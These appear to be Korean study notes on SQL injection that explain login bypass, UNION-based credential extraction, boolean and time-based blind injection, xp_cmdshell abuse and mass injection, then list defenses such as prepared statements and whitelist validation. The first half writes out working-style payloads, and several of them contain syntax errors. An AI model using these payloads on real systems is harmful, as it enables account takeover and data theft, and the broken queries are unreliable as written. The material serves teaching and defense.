SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'
SELECT * FROM Users WHERE id = '' OR 1=1 -- ' AND password = 'INPUT2'
===> SELECT * FROM Users ;
◻ 경과: input1에 싱글쿼터를 닫아주기위한 싱글쿼터, OR 1=1 구문을 이용해 WHERE 절을 모두 참으로만들고 , --를 넣어줌..=> 주석처리 됨.
◻ 결과: User table의 모든 정보를 조회하게 됨 => 가장 먼저 만들어진 관리자계정으로 로그인 할 수 있게 된다. -> 관리자 계정 탈취.
select * from board where title LIKE '%INPUT%' OR contents '%INPUT%'
=> 해커의 SQL 추가
'UNION SELECT NULL, ID,PASSWORD FROM USERS --'
SELECT * FROM Board where title LIKE '%'UNION SELECT null,id,password FROM USERS -- ;
===> SELECT * FROM Users ;
인젝션이 성공한다면, 사용자의 개인정보가 게시글과 함께 화면에 보여진다.
💨 입력값에 대한 검증이 없다면 발생할수있는 오류 & 공격
유니온을 쓰기위해서 ORDER BY를 통해 컬럼 갯수를 알아낸다.
컬럼에 맞는 데이터형식을 알아내면 공격이 가능하다.
+@ MYSQL 에는 Information_schema라는 DB가 존재하는데 이곳에선 서버가 운영하는 모든 DB 정보를 다룬다.(관련내용이 있는 테이블은 schemata, tables, columns)
에러 기반의 SQL 인젝션에서처럼 직접적인 결과를 알 수 없고, 참 거짓 여부만 알 수 있을 때 사용되는 공격 기법.
==> 결과 차이를 분석하여 정보를 얻어낸다.
EX) 로그인 폼에 SQL INJECTION이 가능하다고 가정햇을 때 , 서버가 응답하는 로그인 성공과 로그인 실패 메시지를 이용하여, DB의 테이블 정보등을 추출해 낼 수 있다.
select * from Users WHERE id = 'INPUT1' AND password ='INPUT2'
' abc123 ' and ASCI(SUBSTR(SELECT name from information_schema.tables
where table_type='base table' limit 0,1)1,1))>100 --
위의 쿼리를 삽입 (mysql일때)
SELECT * FROM User Where id = ' abc123 ' and ASCI(SUBSTR(SELECT name from information_schema.tables
where table_type='base table' limit 0,1)1,1))>100 --
-- 위의 쿼리를 로그인이 될 때까지 시도
◻ 인젝션이 가능한 로그인 폼을 이용하여 악의적인 사용자는 해당 아이디와함께 구문 주입 ex) abc123
◻ 해당 쿼리는 mysql에서 테이블명을 조회하는 구문으로 limit를 통해 하나의 테이블만 조회하고, SUBSTR함수로 첫 글자만, ASCII를 통해서 ASCii값으로 변환
◻ 만약 조회되는 테이블명이 Users라면 'U'자가 ascii값으로 조회가 될 것이고, 100이라는 숫자와 비교 => 숫자를 변경해가면서 비교하면 알아낼수 있다.
https://blog.naver.com/lstarrlodyl/221541453346
SELECT * FROM Users Where id ='INPUT1' AND password ='INPUT2';
'abc123' or (LENGTH(DATABASE())=1 AND SLEEP(2) EX) BENCHMARK()함수 사용 )--
===> MYSQL의 경우
SELECT * FROM Users Where id = 'abc123' OR (LENGTH(DATABASE())=1 AND SLEEP(2))
SLEEP 할 때까지 시도
◻ 현재 데이터베이스의 길이를 알아내는 방법.
◻ LENGTH(DATABASE())=1이 참이면 SLEEP(2)가 동작하고, 거짓이면 동작하지 않는다. 숫자 1 부분을 바꿔가면서 DB의 길이를 알아낼수 있다.
◻ 만약 SLEEP이란 단어가 치환처리되어 있다면, BENCHMARK나 WAIT 함수를 사용할 수 있다.
저장된 프로시저 에서의 SQL Injection
◻ 저장 프로시저(Stored Procedure) 은 일련의 쿼리들을 모아 하나의 함수처럼 사용하기 위한 것이다.
◻ 공격에 사용되는 대표적인 저장 프로시저는 MS-SQL 에 있는 xp_cmdshell로 윈도우 명령어를 사용할 수 있게 된다.
◻ 단, 공격자가 시스템 권한을 획득 해야 하므로 공격난이도가 높으나 공격에 성공한다면, 서버에 직접적인 피해를 입힐 수 있는 공격 이다.
다량의 SQL Injection 공격
◻ 2008년에 처음 발견된 공격기법으로 기존 SQL Injection 과 달리 한번의 공격으로 다량의 데이터베이스가 조작되어 큰 피해를 입히는 것을 의미한다.
◻ 보통 MS-SQL을 사용하는 ASP 기반 웹 애플리케이션에서 많이 사용되며, 쿼리문은 HEX 인코딩 방식으로 인코딩 하여 공격한다.
◻ 보통 데이터베이스 값을 변조하여 데이터베이스에 악성스크립트를 삽입하고, 사용자들 이 변조된 사이트에 접속 시 좀비PC로 감염되게 한다.
이렇게 감염된 좀비 PC들은 DDoS 공격에 사용된다.
입력 값에 대한 검증
SQL Injection 에서 사용되는 기법과 키워드는 엄청나게 많습니다. 사용자의 입력 값에 대한 검증이 필요한데요. 서버 단에서 화이트리스트 기반으로 검증해야 합니다. 블랙리스트 기반으로 검증하게 되면 수많은 차단리스트를 등록해야 하고, 하나라도 빠지면 공격에 성공하게 되기 때문입니다. 공백으로 치환하는 방법도 많이 쓰이는데, 이 방법도 취약한 방법입니다. 예를 들어 공격자가 SESELECTLECT 라고 입력 시 중간의 SELECT가 공백으로 치환이 되면 SELECT 라는 키워드가 완성되게 됩니다. 공백 대신 공격 키워드와는 의미 없는 단어로 치환되어야 합니다.
Prepared Statement 구문사용
Prepared Statement 구문을 사용하게 되면, 사용자의 입력 값이 데이터베이스의 파라미터로 들어가기 전에DBMS가 미리 컴파일 하여 실행하지 않고 대기합니다. 그 후 사용자의 입력 값을 문자열로 인식하게 하여 공격쿼리가 들어간다고 하더라도, 사용자의 입력은 이미 의미 없는 단순 문자열 이기 때문에 전체 쿼리문도 공격자의 의도대로 작동하지 않습니다.
Error Message 노출 금지
공격자가 SQL Injection을 수행하기 위해서는 데이터베이스의 정보(테이블명, 컬럼명 등)가 필요합니다. 데이터베이스 에러 발생 시 따로 처리를 해주지 않았다면, 에러가 발생한 쿼리문과 함께 에러에 관한 내용을 반환헤 줍니다. 여기서 테이블명 및 컬럼명 그리고 쿼리문이 노출이 될 수 있기 때문에, 데이터 베이스에 대한 오류발생 시 사용자에게 보여줄 수 있는 페이지를 제작 혹은 메시지박스를 띄우도록 하여야 합니다.
웹 방화벽 사용
웹 공격 방어에 특화되어있는 웹 방화벽을 사용하는 것도 하나의 방법입니다. 웹 방화벽은 소프트웨어 형, 하드웨어 형, 프록시 형 이렇게 세가지 종류로 나눌 수 있는데 소프트웨어 형은 서버 내에 직접 설치하는 방법이고, 하드웨어 형은 네트워크 상에서 서버 앞 단에 직접 하드웨어 장비로 구성하는 것이며 마지막으로 프록시 형은 DNS 서버 주소를 웹 방화벽으로 바꾸고 서버로 가는 트래픽이 웹 방화벽을 먼저 거치도록 하는 방법입니다.
https://noirstar.tistory.com/264
https://blog.naver.com/lstarrlodyl/221541453346
https://m.blog.naver.com/lstarrlodyl/221837243294
https://g-idler.tistory.com/11